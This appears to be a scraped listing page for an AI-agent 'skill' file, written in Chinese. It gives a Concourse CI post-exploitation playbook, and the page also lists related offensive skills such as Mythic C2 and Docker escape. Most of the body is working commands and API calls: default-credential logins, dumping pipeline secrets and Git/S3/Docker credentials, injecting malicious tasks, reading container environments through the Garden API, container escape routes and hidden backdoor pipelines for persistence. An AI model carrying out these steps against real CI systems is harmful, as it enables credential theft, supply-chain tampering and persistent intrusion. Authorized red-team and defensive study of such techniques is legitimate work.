skills/postexploit/product/concourse-tactics/SKILL.md
Concourse CI 渗透测试与利用。当发现目标运行 Concourse CI 实例、获取 Fly CLI 凭据或 API Token、需要从 Concourse Pipeline 窃取凭据或注入恶意任务时使用。覆盖未授权访问、Pipeline 变量与私有密钥窃取、Job 篡改、Resource 凭据提取(Git/S3/Docker)、Task 脚本注入、Build 日志窃取、Worker 利用、容器逃逸、Pipeline 后门持久化
npx skillsauth add wgpsec/AboutSecurity concourse-tacticsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Concourse CI 是以容器为核心的 CI/CD 系统——每个 Task 运行在独立容器中、Pipeline 配置即代码、所有凭据通过 Credential Manager 注入。一旦获取到 Fly CLI 凭据或 API Token,攻击者可以窃取 Pipeline 变量中的全部 Secrets、篡改 Job 注入恶意 Task、从 Resource 配置中提取 Git/S3/Docker Registry 凭据、劫持 Build 日志和构建产物,并通过 Worker 节点的 Garden 容器接口实现容器逃逸。
识别到具体攻击路径后,加载参考文档获取完整命令与利用 Payload:
Concourse 的默认端口和指纹:
| 组件 | 默认端口 | 识别特征 |
|---|---|---|
| Web UI / ATC API | 8080 / 443 | /api/v1/info 返回版本、/sky/login 登录页 |
| TSA(Worker 注册) | 2222 | SSH 协议,Banner 含 Concourse |
| Garden(容器管理) | 7777 | 仅 Worker 本地监听 |
| Baggageclaim(卷管理) | 7788 | 仅 Worker 本地监听 |
# 指纹探测
curl -s https://TARGET:8080/api/v1/info | jq .
# 返回示例: {"version":"7.x.x","worker_version":"2.x","external_url":"..."}
Concourse 默认允许匿名查看 main Team 的公开 Pipeline:
# 公开 Pipeline 列表
curl -s https://TARGET/api/v1/pipelines | jq '.[].name'
# 公开 Team 列表
curl -s https://TARGET/api/v1/teams | jq '.[].name'
# 公开 Build 列表(可能泄露 Job 名称、Pipeline 结构)
curl -s https://TARGET/api/v1/builds | jq '.[] | {id, pipeline_name, job_name, status}'
# 默认凭据测试
fly -t target login -c https://TARGET -u admin -p admin
fly -t target login -c https://TARGET -u test -p test
# 使用已获取的 Bearer Token
curl -H "Authorization: Bearer $TOKEN" https://TARGET/api/v1/teams
Pipeline 变量是最高价值的攻击目标——它们通常包含 AWS AK/SK、数据库密码、SSH 密钥、Docker Registry 凭据。
# 列出所有 Pipeline
fly -t target pipelines -a
# 获取指定 Pipeline 的完整 YAML 配置
fly -t target get-pipeline -p PIPELINE_NAME
# 通过 API 获取(含变量引用)
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM/pipelines/PIPELINE_NAME/config
# 获取 Team 的变量列表
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM_NAME/vars
# Pipeline 级别变量
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM_NAME/pipelines/PIPELINE_NAME/vars
常见高价值变量名:aws_access_key_id、aws_secret_access_key、private_key、ssh_key、api_token、password、docker_username、docker_password。
Concourse 支持外部 Credential Manager(Vault/CredHub/AWS SSM/K8s Secrets)。如果能访问后端服务,可直接读取所有注入的 Secrets:
| 后端 | 路径模板 | 利用方式 |
|---|---|---|
| Vault | /concourse/TEAM/PIPELINE/VAR | Vault Token 泄露 → 直接读取 |
| CredHub | /concourse/TEAM/PIPELINE/VAR | CredHub CLI / API |
| AWS SSM | /concourse/TEAM/PIPELINE/VAR | AWS 凭据 → ssm:GetParameter |
| K8s Secrets | TEAM namespace 下的 Secret | kubectl get secret |
Pipeline 的 Resource 定义中直接包含或引用了外部系统的凭据:
# 提取所有 Resource 的 source 配置
fly -t target get-pipeline -p PIPELINE_NAME | \
python3 -c "import sys,yaml; d=yaml.safe_load(sys.stdin); [print(r['name'],r['type'],r.get('source',{})) for r in d.get('resources',[])]"
高价值 Resource 类型:
| Resource 类型 | 可提取的凭据 |
|---|---|
| git | private_key、username/password、access_token |
| s3 | access_key_id、secret_access_key、session_token |
| docker-image / registry-image | username/password、Registry Token |
| github-release | access_token |
| pool | Git 仓库凭据 |
| cf (Cloud Foundry) | username/password、client_id/client_secret |
如果拥有 set-pipeline 权限,可以修改 Job 的 Plan 注入恶意步骤:
# 导出当前配置
fly -t target get-pipeline -p PIPELINE_NAME > pipeline.yml
# 修改 pipeline.yml,在目标 Job 的 plan 中注入恶意 task
# 然后重新设置
fly -t target set-pipeline -p PIPELINE_NAME -c pipeline.yml
# 触发执行
fly -t target trigger-job -j PIPELINE_NAME/JOB_NAME
→ 读 references/attack-techniques.md 获取注入模板
Build 日志可能泄露 Secrets(开发者 echo/env 输出)、内网地址、部署目标:
# 列出最近的 Build
fly -t target builds -p PIPELINE_NAME
# 实时查看 Build 日志
fly -t target watch -j PIPELINE_NAME/JOB_NAME -b BUILD_NUMBER
# API 批量获取 Build 事件流
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/builds/BUILD_ID/events
如果能修改 Pipeline 引用的 Git 仓库中的 Task 文件:
.concourse/tasks/ 或 ci/ 目录下修改 Task YAMLrun.path / run.args 中注入命令→ 读 references/attack-techniques.md 获取注入 Task YAML 模板
# 列出可 intercept 的容器
fly -t target containers
# 进入指定 Build 的 Task 容器(需要 Build 处于运行中或已完成状态)
fly -t target intercept -j PIPELINE_NAME/JOB_NAME -s STEP_NAME
# 在容器内可以:
# - 读取注入的环境变量(Secrets)
# - 访问挂载的 Resource 文件
# - 探测内网
# 列出所有 Worker
fly -t target workers
# Worker 详细信息(平台、标签、活跃容器数)
fly -t target workers --details
Worker 上的 Garden(端口 7777)是容器管理 API。如果能访问 Worker 网络:
# 列出容器
curl http://WORKER_IP:7777/containers
# 在容器中执行命令
curl -X POST http://WORKER_IP:7777/containers/HANDLE/processes \
-d '{"path":"sh","args":["-c","id && cat /proc/1/environ"]}'
Concourse Task 默认运行在非特权容器中,但以下条件可导致逃逸:
| 逃逸条件 | 检查方法 | 利用方式 |
|---|---|---|
| privileged: true Task | Pipeline YAML 中 privileged: true | 完整 Linux capabilities → 挂载宿主机 |
| Docker Socket 挂载 | ls -la /var/run/docker.sock | Docker API → 特权容器 |
| Garden API 可达 | curl http://127.0.0.1:7777/containers | 创建特权容器 |
| 宿主机 PID namespace | /proc/1/cgroup 检查 | nsenter 进入宿主机 |
→ 读 references/attack-techniques.md 获取逃逸命令
通过创建隐蔽 Pipeline 实现持久化:
# 创建后门 Pipeline(使用 time trigger 定时执行)
fly -t target set-pipeline -p HIDDEN_NAME -c backdoor_pipeline.yml
# 暴露 Pipeline(可选,取决于隐蔽性需求)
fly -t target expose-pipeline -p HIDDEN_NAME
# 触发
fly -t target trigger-job -j HIDDEN_NAME/JOB_NAME
→ 读 references/attack-techniques.md 获取后门 Pipeline YAML
发现 Concourse CI 实例
├── 未认证
│ ├── /api/v1/info → 确认版本
│ ├── /api/v1/pipelines → 公开 Pipeline 信息泄露
│ ├── /api/v1/builds → Build 历史泄露
│ ├── 默认凭据 admin/admin → 尝试登录
│ └── 无法登录 → 搜索泄露的 .flyrc / Token
│
├── 已认证(Fly CLI / API Token)
│ ├── fly pipelines -a → 枚举所有 Pipeline
│ │ ├── get-pipeline → 提取 Resource 凭据(Git/S3/Docker)
│ │ └── API /teams/TEAM/vars → 窃取 Team 变量
│ │
│ ├── 有 set-pipeline 权限?
│ │ ├── 是 → Job 篡改注入恶意 Task → Phase 3
│ │ └── 是 → 创建后门 Pipeline → Phase 5
│ │
│ ├── Build 日志 → fly watch → 搜索泄露的 Secrets/内网信息
│ ├── fly intercept → 进入容器 → 读取环境变量/探测内网
│ └── fly workers → Worker 信息 → Garden API 探测
│
└── Worker 网络可达
├── Garden 7777 → 容器操作 → 逃逸
├── Baggageclaim 7788 → 卷操作
└── privileged Task → 容器逃逸 → 宿主机控制
| 工具 | 用途 | 关键命令 |
|---|---|---|
| fly CLI | Concourse 官方命令行 | fly -t T login/pipelines/get-pipeline/intercept/workers |
| curl + API | REST API 直接调用 | /api/v1/pipelines、/api/v1/teams/T/vars |
| .flyrc | Fly CLI 凭据文件 | ~/.flyrc 含 Token,可直接复用 |
| jq / python3 -c yaml | Pipeline YAML 解析 | 提取 Resource source 中的凭据 |
| Garden API | Worker 容器管理 | http://WORKER:7777/containers |
set-pipeline、trigger-job、intercept 均会留痕main Team 通常拥有全局管理权限redacted——需要直接攻击后端存储testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能